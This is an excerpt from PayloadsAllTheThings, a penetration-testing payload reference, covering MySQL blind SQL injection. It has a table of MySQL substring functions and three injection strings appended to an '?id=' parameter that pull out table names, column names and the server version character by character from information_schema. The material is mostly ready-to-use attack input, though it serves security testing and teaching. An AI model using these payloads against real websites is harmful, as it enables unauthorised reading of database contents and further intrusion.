| Function | Example | Description | | ----------- | ------------------------------ | ------------------------------------------------------------------- | | `SUBSTR` | `SUBSTR(version(),1,1)=5` | Extracts a substring from a string (starting at any position) | | `SUBSTRING` | `SUBSTRING(version(),1,1)=5` | Extracts a substring from a string (starting at any position) | | `RIGHT` | `RIGHT(left(version(),1),1)=5` | Extracts a number of characters from a string (starting from right) | | `MID` | `MID(version(),1,1)=4` | Extracts a substring from a string (starting at any position) | | `LEFT` | `LEFT(version(),1)=4` | Extracts a number of characters from a string (starting from left) | Examples of Blind SQL injection using `SUBSTRING` or another equivalent function:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
?id=1 AND ASCII(LOWER(SUBSTR(version(),1,1)))=51Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.